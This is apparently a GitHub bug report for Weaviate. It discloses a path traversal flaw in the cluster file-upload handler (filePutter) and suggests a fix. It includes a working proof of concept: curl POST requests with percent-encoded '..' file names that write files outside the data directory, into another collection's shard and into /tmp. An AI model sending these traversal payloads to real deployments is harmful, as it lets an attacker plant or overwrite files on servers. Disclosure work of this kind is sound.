#13099·weaviate

Cluster filePutter does not sanitize file names (write-side gap after CVE-2025-67819)

Author: woaiqjjCreated Sep 15, 2026Updated Sep 17, 2026
Labelsbugcommunity

How to reproduce this bug?

CVE-2025-67819 fixed path traversal on read (GetFile / sanitizeFilePath). The symmetric write path still does:

go
// adapters/repos/db/replication.go — Shard.filePutter
finalPath := filepath.Join(s.Index().Config.RootPath, filePath)
os.MkdirAll(path.Dir(finalPath), os.ModePerm)
os.Create(finalPath)

The cluster HTTP handler passes the URL file segment straight through:

POST /indices/{class}/shards/{shard}/files/{name}
Content-Type: application/vnd.weaviate.indexfiles+octet-stream

(adapters/handlers/rest/clusterapi/indices.gopostShardFileFilePutterIncomingFilePutterfilePutter.)

This is served on CLUSTER_DATA_BIND_PORT (default 7101), not the public REST port. The shard does not need to be halted. The endpoint is registered even when replica movement is disabled.

1. Start Weaviate

bash
docker compose -f docker-compose-test.yml up -d weaviate

2. Create a collection and load a shard

bash
curl -sS -X POST http://localhost:8080/v1/schema \
  -H 'Content-Type: application/json' \
  -d '{"class":"Article","vectorizer":"none","properties":[{"name":"title","dataType":["text"]}]}'

curl -sS -X POST http://localhost:8080/v1/objects \
  -H 'Content-Type: application/json' \
  -d '{"class":"Article","properties":{"title":"probe"}}'

curl -sS http://localhost:8080/v1/schema/Article/shards
# pick the shard "name" from the response, e.g. SHARD_NAME=...

3. Write outside the data root via the cluster files API

Use percent-encoded .. in the URL. A literal ../ in the path is canonicalized away by Go’s ServeMux (307 redirect) and does not reach the handler; %2e%2e does.

A. One directory above PERSISTENCE_DATA_PATH

bash
SHARD_NAME=<from step 2>

curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST "http://localhost:7101/indices/Article/shards/${SHARD_NAME}/files/%2e%2e%2fweaviate-outside-data-root.txt" \
  -H 'Content-Type: application/vnd.weaviate.indexfiles+octet-stream' \
  --data-binary 'written-via-filePutter'
# expect: 204

On the default test compose (PERSISTENCE_DATA_PATH=./data, workdir /go/src/github.com/weaviate/weaviate):

bash
docker compose -f docker-compose-test.yml exec weaviate \
  cat ../weaviate-outside-data-root.txt
# written-via-filePutter

B. Another collection’s shard directory

bash
curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST "http://localhost:7101/indices/Article/shards/${SHARD_NAME}/files/otherclass%2fothershard%2finjected.txt" \
  -H 'Content-Type: application/vnd.weaviate.indexfiles+octet-stream' \
  --data-binary 'cross-collection'
# expect: 204

docker compose -f docker-compose-test.yml exec weaviate \
  cat data/otherclass/othershard/injected.txt
# cross-collection

C. /tmp on Linux (when the process can write there)

bash
curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST "http://localhost:7101/indices/Article/shards/${SHARD_NAME}/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fweaviate-fileputter-probe" \
  -H 'Content-Type: application/vnd.weaviate.indexfiles+octet-stream' \
  --data-binary 'poc-from-filePutter'
# expect: 204

docker compose -f docker-compose-test.yml exec weaviate \
  cat /tmp/weaviate-fileputter-probe
# poc-from-filePutter

What is the expected behavior?

filePutter should apply the same containment rules as GetFile (Clean, reject absolute paths, EvalSymlinks, ensure the final path stays under the intended shard/data root)..

What is the actual behavior?

  • 204 No Content on the cluster POST …/files/{name} calls above.
  • Files are created at the joined path:
    • ../weaviate-outside-data-root.txt next to the data directory
    • data/otherclass/othershard/injected.txt under another collection
    • /tmp/weaviate-fileputter-probe on Linux when reachable

Verified on Linux with weaviate v1.39.5 (2e3e707).

Supporting information

  • Related: CVE-2025-67819 / GHSA-hmmh-292h-3364 (read via GetFile only)
  • Suggested fix: sanitize {name} in postShardFile and/or reuse sanitizeFilePath in filePutter before MkdirAll / Create

Server Version

v1.39.5 (2e3e707)

Weaviate Setup

Single Node

Nodes count

1

Code of Conduct